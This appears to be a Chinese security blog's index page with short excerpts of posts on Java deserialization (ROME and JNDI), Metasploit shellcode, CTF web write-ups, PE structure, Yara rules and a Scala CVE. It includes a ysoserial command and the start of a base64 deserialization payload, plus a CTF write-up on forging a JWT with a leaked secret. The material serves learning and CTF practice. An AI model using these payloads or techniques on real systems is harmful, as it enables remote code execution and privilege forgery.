[JAVA安全]ROME链复现与分析
参考:
ysoserial官方ROME链
环境搭建java版本:JDK1.8_112
maven依赖:
123456<!-- https://mvnrepository.com/artifact/net.java.dev.rome/rome --><dependency> <groupId>net.java.dev.rome</groupId> <artifactId>rome</artifactId> <version>1.0.0</version></dependency>
ysoserial下载
漏洞复现生成payload1java -jar yso*.jar ROME calc | base64
1rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAAAIAAAACc3IAKGNvbS5zdW4uc3lu ...
[JAVA安全]全面学习JNDI机制与注入
JAVA安全断断续续学习了一段时间,但还是做不来JAVA题(太笨了),感觉对于基本功的掌握也不是很熟练,所以下定决心把java安全的学习放到最近的重心上来
对于JNDI注入,打CTF的师傅们都接触过marshalsec这个工具,那么这个工具为什么能够进行JNDI注入,他是如何进行JNDI注入,什么是JNDI注入,什么是JNDI,这几个问题在每次复现JNDI考点题目的时候都困扰着我,总觉得明白了一些但又没全明白,这种似懂非懂让我感觉浑身有蚂蚁在爬,在好奇心的驱使下使得本人必须探究其本质
什么是JNDI看过很多讲解JNDI的文章,但大多是一上来就长篇大论的抽象解释让我很是头疼,命名接口,目录,映射,统一的API…… 感觉又回到了当初做英语阅读抠字眼的中学时期,所以今天,我决定先上几个实际的应用,在研究代码的同时体会一下JNDI的设计思想
实例一: 通过JNDI获取数据源第一步在Tomcat的目录下的/conf/context.xml中,配置数据源对象
12345678910<?xml version="1.0" encoding="UTF-8& ...
[免杀学习]MSF框架分析之Windows Api的调用
分析windows X86的shellcode
MSF中用于windows x86平台的Shellcode模块
metasploit-framework/external/source/shellcode/windows/x86/src/block at master · rapid7/metasploit-framework · GitHub
调用任意API的汇编代码
metasploit-framework/external/source/shellcode/windows/x86/src/block/block_api.asm at master · rapid7/metasploit-framework · GitHub
反向tcp连接汇编代码
metasploit-framework/external/source/shellcode/windows/x8 ...
[JS专项训练]Secure Portal
题目环境只有一个页面
只有一个密码框
解题过程F12看源码,发现有一串混淆过的JS代码
12var _0x575c=['\x32\x2d\x34','\x73\x75\x62\x73\x74\x72\x69\x6e\x67','\x34\x2d\x37','\x67\x65\x74\x49\x74\x65\x6d','\x64\x65\x6c\x65\x74\x65\x49\x74\x65\x6d','\x31\x32\x2d\x31\x34','\x30\x2d\x32','\x73\x65\x74\x49\x74\x65\x6d','\x39\x2d\x31\x32','\x5e\x37\x4d','\x75\x70\x64\x61\x74\x65\x49\x74\x65\x6d','\x62\x62\x3d','\x37\x2d\x ...
[JS专项训练]File Library WP
题目源代码123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566const express = require('express');const path = require('path');const fs = require('fs');const app = express();const PORT = process.env.PORT || 3000;app.listen(PORT, () => { console.log(`Listening on port ${PORT}`);});app.get('/getFile', (req, res) => { let { file } = req.query; if ...
PE结构分析
引言Windows 的 PE 文件结构是一种可执行文件格式,用于存储 Windows 应用程序、服务和驱动程序。
准备一个简单的程序以32位为主,在后面会展示与64位的区别
123456789101112//没有使用到的库仅用于展示PE结构的某些变化#include <iostream>#include <stdio.h>#pragma comment(lib,"WS2_32.lib") #include<windows.h>using namespace std;void main() { int flag = 1; flag++; cout << flag << endl;}
结构体系PE 文件结构主要由以下几部分组成:
DOS 头存储一些文件信息,如NT头的位置,主要用来兼容MS-DOS操作系统,目的是当这个文件在MS-DOS系统上运行时提示一段文字,大部分情况下是:This program cannot be run in DOS mode.
NT头存储PE文件的主 ...
[免杀学习]Yara规则学习
Yara简介yara规则是一种用于描述恶意软件样本特征的语言,它由三个主要部分组成:规则名称、元数据和条件。
yara规则由三个主要部分组成:规则名称、元数据和条件。
规则名称是一个唯一的标识符,用于描述规则的目的或匹配的样本类型。
元数据是一些键值对,用于提供规则的额外信息,如作者、日期、描述、引用等。
条件是一个布尔表达式,用于定义规则匹配的逻辑,它通常包含一些字符串或模块函数。
yara规则的基本语法如下:
12345678910rule <name> { meta: <key> = <value> ... strings: $<name> = "<string>" ... condition: <expression>}
Yara编写/使用环境:python
下载python的yara依赖
1pip install yara-python
创建一个txt文 ...
[JS专项训练]CCC WP
一个web页面,其中有2个超链接,
login路由用于登录,通过响应头可以看出使用JWT TOKEN进行身份验证
解析一下,可以发现有密钥,负载部分运用了ROT13加密
ROT加解密在线工具
rot13.com
解密后admin为false,现在要想办法修改admin为true,但是没有密钥
回头看/adminNames路由,会下载一个文件,里面是一个github仓库的相关信息,访问该仓库发现是一种允许一些用户名登录其服务器的项目
观察其响应体,存在任意文件下载
查阅资料了解到,nodejs的一些环境变量会存储在根目录的.env文件中,下载下来查看key
这里猜测用了dotenv模块,作用就是从.env文件中读取键值对作为系统变量
JWT_SECRET=Th1sSECr3TMu5TN0Tb3L43KEDEv3RRRRRR!!1
拿到key后就是用rot13加密后的payload伪造JWT,访问/admin路由(扫出来的)
注意name要从github仓库里用户名出,有些是无效的
[JS专项训练]blitzprop WP
前置知识抽象语法树抽象语法树,类比来说,就是把你写的代码变成一棵树,每个节点都是代码的一部分,这样可以方便地对代码进行分析和操作。可以想象一下,你写的代码就像一本书,每个单词、标点符号、空格都有自己的含义和作用。但是如果你想要修改或者优化这本书,你可能需要花很多时间去找到你想要改变的地方,而且还要注意不要影响其他地方的内容。这时候,如果你能把这本书变成一棵树,每个节点都代表一个单词、标点符号、空格等等,那么你就可以很容易地找到你想要修改的节点,而且还可以用一些工具来帮助你完成修改。这就是抽象语法树AST的作用。
以本题中的pug.compile('span Hello #{user}, thank you for letting us know!')为例,它的语法树如下:
AST生成网站(选择pug引擎)
最外层12345678910{ "type": "Block", "nodes": [ ... ... ... ... ], "line" ...
基于LazyList的Scala反序列化漏洞透析(CVE-2022-36944)
引言
前段时间打SCTF,欣赏大牛师傅们的WP时,发现在hello java那道题使用了CVE-2022-36944这个漏洞,但是查阅资料在国内乃至全世界互联网中没有找到相关分析文章,在github上找到了1个复现项目环境,研究了一些时间大概懂了一点。
没接触过Scala语言,虽然和java兼容性很强,但很多语言特性和机制都是第一次接触,而且有段时间没搞java安全了,这次相当于没有现成的分析文章,只能硬着头皮啃
POC复现环境Github:
lazylist-cve-poc
“线索”For security, prevent Function0 execution during LazyList deserialization
关于这个CVE的最详细的信息就是这位CVE发现者提交的issue,所以我能挖掘到的一切关于这个CVE的信息都是基于上面的POC环境和这个issue
利用条件
scala版本<2.13.9
允许用户伪造序列化字节流数据
前置知识
对于我本人来说,要钻透某个漏洞的话就必须要搞清楚是哪一步产生了漏洞,那么前提就是要了解这个漏洞产生流程的大框架,否则只针对链 ...